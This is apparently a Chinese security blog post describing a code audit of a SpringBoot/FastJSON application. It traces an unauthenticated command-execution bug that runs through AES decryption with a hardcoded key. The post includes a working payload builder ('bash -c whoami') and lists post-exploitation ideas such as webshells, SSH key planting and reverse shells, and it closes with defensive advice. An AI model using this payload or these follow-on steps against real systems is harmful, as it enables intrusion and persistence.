记一次实战快速的代码审计
字数 1963 2025-08-24 07:48:22
实战快速代码审计教学文档
1. 审计背景与环境分析
本次审计目标为一个采用较新技术的系统,主要架构组成:
- SpringBoot + MyBatis 框架
- FastJSON 组件(较新版本)
- 包含公式计算和数据分析功能
- 使用了 Scala 语言(部分功能)
2. 审计切入点分析
2.1 公式计算功能审计
发现关键接口:FlowScriptCompiler.getClass(className)
攻击路径分析:
- 需要先上传脚本规则文件
- 进行编译
- 执行(execute)
虽然尝试新增规则脚本返回成功,但执行失败,需要真实环境调试验证。
2.2 命令执行漏洞审计
通过全局搜索发现关键类:ProcessBuilder
2.2.1 漏洞点分析
发现三处使用execute方法的地方:
-
/src/main/java/com/xxrule/flowrule/arch/EnvChecker.java#_checkcodeStr参数不可控
-
/src/main/java/com/xxrule/flowrule/utils/ProcessUtil.java#main- 测试方法,参数不可控
-
/src/main/java/com/xxrule/data/service/impl/DepotSynchroServiceImpl.javasync方法接受DepotSynchroDto对象- 使用
DataStrUtil.deCryptAndDecode解密数据 - 解密流程:
- Base64解码
- AES解密
- 使用FastJSON转为JSONObject
- 检查是否存在
sh键 - 解析
sh对象下的shells数组 - 使用
ProcessUtil.execute(sh, charset)执行shell
2.2.2 调用链分析
发现两处Controller接口调用sync方法:
/src/main/java/com/xxxrule/data/controller/DepotSynchroContorller.java#sync/src/main/java/com/xxxrule/flowrule/controller/RuleSceneController.java#params
其中sync接口条件判断较少,更适合直接构造攻击请求。
3. 漏洞利用分析
3.1 加密解密流程
系统使用双重加密:
- Base64编码
- AES加密(密钥为
mysecuritykey)
加密/解密关键代码:
public static byte[] enCryptAndEncode(String content) throws Exception {
String strKey = "mysecuritykey";
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
random.setSeed(strKey.getBytes());
keyGenerator.init(128, random);
SecretKey desKey = keyGenerator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, desKey);
return cipher.doFinal(content.getBytes("UTF-8"));
}
public static String deCryptAndDecode(byte[] src) throws Exception {
String strKey = "mysecuritykey";
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
random.setSeed(strKey.getBytes());
keyGenerator.init(128, random);
SecretKey desKey = keyGenerator.generateKey();
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, desKey);
byte[] cByte = cipher.doFinal(src);
return new String(cByte, "UTF-8");
}
3.2 攻击Payload构造
构造执行whoami命令的Payload示例:
byte[] sourceBytes = enCryptAndEncode("{\n" +
" \"sh\": {\n" +
" \"shells\": [\n" +
" \"bash\",\n" +
" \"-c\",\n" +
" \"whoami\"\n" +
" ]\n" +
" },\n" +
" \"charset\": \"utf-8\"\n" +
"}");
System.out.println(Base64.encodeBase64String(sourceBytes));
生成的加密数据:
ZOxX3QMOwuTSJlkTz5LWdF3Yb0ZFvIXFVb/Iqr5Eu9ysyYwlD/DokMU8g09jfQL0KsPIxO3HlF9SiOSTaVyCPsmIq7eJ7YGOTj9kvYnjFz235gn1jBu7WdC5Tb4wtrsNAXTzc1nZZv1xh0sTGlQgcg==
3.3 攻击效果验证
发送构造的Payload后,返回加密结果示例:
lBBVygQE6Te6euV1IGk/5WLTeEY4WW3o7LGCpYlGO8o=
解密后得到命令执行结果:
root
4. 后续利用思路
- 内存马注入:利用SpringBoot特性注入内存Webshell
- SSH密钥写入:向
~/.ssh/authorized_keys写入攻击者公钥 - 反弹Shell:构造反弹Shell命令建立持久连接
- 权限提升:利用获取的root权限进行横向移动
5. 审计经验总结
-
快速定位关键点:
- 全局搜索危险函数(如
ProcessBuilder、Runtime.exec等) - 关注数据处理流程(加密/解密、序列化/反序列化)
- 分析参数传递链,寻找可控输入点
- 全局搜索危险函数(如
-
行业特性关注:
- 数据分析类系统常使用Spark、Scala、R等框架
- 公式计算功能常存在脚本注入风险
- 注意数据处理流程中的安全边界
-
自动化工具辅助:
- 使用代码审计工具快速定位危险函数
- 结合手动分析验证漏洞可行性
- 建立常见漏洞模式库提高审计效率
-
时间管理:
- 优先审计高风险功能点
- 快速验证可行性,不纠结于复杂但不可利用的点
- 保持耐心,不放过每个可能的sink点
6. 防御建议
-
输入验证:
- 严格校验传入的命令参数
- 使用白名单限制可执行命令
-
加密安全:
- 避免使用固定加密密钥
- 采用更安全的密钥管理方案
-
权限控制:
- 应用程序不应以root权限运行
- 实施最小权限原则
-
安全开发:
- 避免直接执行用户可控的命令
- 使用安全的API替代命令执行
- 定期进行代码安全审计
-
日志监控:
- 记录所有命令执行操作
- 设置异常命令执行告警